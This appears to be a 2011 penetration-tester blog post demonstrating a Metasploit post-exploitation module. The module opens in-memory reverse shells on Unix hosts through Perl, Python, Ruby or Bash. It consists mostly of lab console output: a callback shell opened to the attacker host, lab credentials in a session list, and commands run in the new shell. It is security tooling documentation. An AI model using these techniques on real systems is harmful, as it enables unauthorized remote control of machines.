After writing the payload inject module for Windows I was looking thru my Twitter feed and saw a tweet from Chris John Riley on the PentestMonkey website where he has a cheat sheet that shows how to use a targets scripting environment to create a reverse shell in one line executing with the code as an argument so that nothing is actually written to disk and the session resides in memory. After seeing this I thought it would be a great idea to have a s a module for Unix type systems (Linux, BSD,HPUX, Solaris, OS X..etc) So I wrote a module that is part of the framework that is called system_session. The module will look for the following scripting environments to us to create a reverse shell:

Perl
Python
Ruby
Bash

It will look in this same order for the presence of the interpreter and use it for creating the reverse shell.

For showing how the module works we will use some sessions to systems in my lab where session 1 is for a FreeBSD 8.2 VM, session 3 and session 4 is for a Linux Ubuntu System.

sessions 

Active sessions
===============

  Id  Type                   Information                               Connection
  --  ----                   -----------                               ----------
  1   shell bsd              SSH admin:Newsystem01 (192.168.1.134:22)  192.168.1.241:55187 -> 192.168.1.134:22
  2   meterpreter x86/win32  VICTIMLAB\administrator @ WIN701          192.168.1.100:4444 -> 192.168.1.138:23021
  3   meterpreter x86/win32  VICTIMLAB\Administrator @ WIN2K3LAB01     192.168.1.100:4444 -> 192.168.1.138:4340
  4   shell linux                                                      192.168.1.100:4448 -> 192.168.1.135:37211

Lets start by selecting the module and looking at the options

msf  auxiliary(ssh_login) > use post/multi/manage/system_session 
msf  post(system_session) > show options 

Module options (post/multi/manage/system_session):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  false            yes       Start an Exploit Multi Handler to receive the connection
   LHOST                     yes       IP of host that will receive the connection from the payload.
   LPORT    4433             no        Port for Payload to connect to.
   SESSION                   yes       The session to run this module on.
   TYPE     auto             yes       Scripting environment on target to use for reverse shell (accepted: auto, ruby, python, perl, bash)

Lets start with the case of letting the module select the first supported scripting environment and set a remote session

msf  post(system_session) > set SESSION 1
SESSION => 1
msf  post(system_session) > set LHOST 192.168.1.100
LHOST => 192.168.1.100

msf  post(system_session) > set HANDLER true
HANDLER => true
msf  post(system_session) > run

[*] Starting exploit multi handler
[*] Started reverse handler on 192.168.1.100:4433 
[*] Starting the payload handler...
[*] Python was found on target
[*] Python reverse shell selected
[*] Executing reverse tcp shel to 192.168.1.100 on port 4433
[*] Post module execution completed
msf  post(system_session) > [*] Command shell session 5 opened (192.168.1.100:4433 -> 192.168.1.134:60732) at 2011-10-28 15:03:39 -0400

msf  post(system_session) > sessions 

Active sessions
===============

  Id  Type                   Information                               Connection
  --  ----                   -----------                               ----------
  1   shell bsd              SSH admin:Newsystem01 (192.168.1.134:22)  192.168.1.241:55187 -> 192.168.1.134:22
  2   meterpreter x86/win32  VICTIMLAB\administrator @ WIN701          192.168.1.100:4444 -> 192.168.1.138:23021
  3   meterpreter x86/win32  VICTIMLAB\Administrator @ WIN2K3LAB01     192.168.1.100:4444 -> 192.168.1.138:4340
  4   shell linux                                                      192.168.1.100:4448 -> 192.168.1.135:37211
  5   shell bsd                                                        192.168.1.100:4433 -> 192.168.1.134:60732

msf  post(system_session) >

Now lets try just using the Bash reverse TCP shell using /dev/tcp on one of the Linux systems:

msf  post(system_session) > set SESSION 4
SESSION => 4
msf  post(system_session) > set TYPE bash 
TYPE => bash
msf  post(system_session) > run

[*] Starting exploit multi handler
[-] Job 5 is listening on IP 192.168.1.100 and port 4433
[-] Could not start handler!
[-] A job is listening on the same Port
[*] Bash reverse shell selected
[*] Executing reverse tcp shel to 192.168.1.100 on port 4433
[*] Post module execution completed
msf  post(system_session) > [*] Command shell session 6 opened (192.168.1.100:4433 -> 192.168.1.135:45662) at 2011-10-28 15:08:13 -0400

msf  post(system_session) > sessions -i 6
[*] Starting interaction with 6...

bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

carlos@infidel02-dev:/home/carlos/Desktop$ uname -a
uname -a
Linux infidel02-dev 2.6.32-25-generic #45-Ubuntu SMP Sat Oct 16 19:48:22 UTC 2010 i686 GNU/Linux
carlos@infidel02-dev:/home/carlos/Desktop$ ^Z
Background session 6? [y/N]  y

As we can see this can become quite useful when the shell we have is one on a Unix type system where the framework still does not support injecting in to processes payloads and where writing a file to disk is not necessarily the best option in that case.

As alway I hope you find this information useful.

Shell is Only the Beginning

Secondary Shell Using Scripting Environment on Target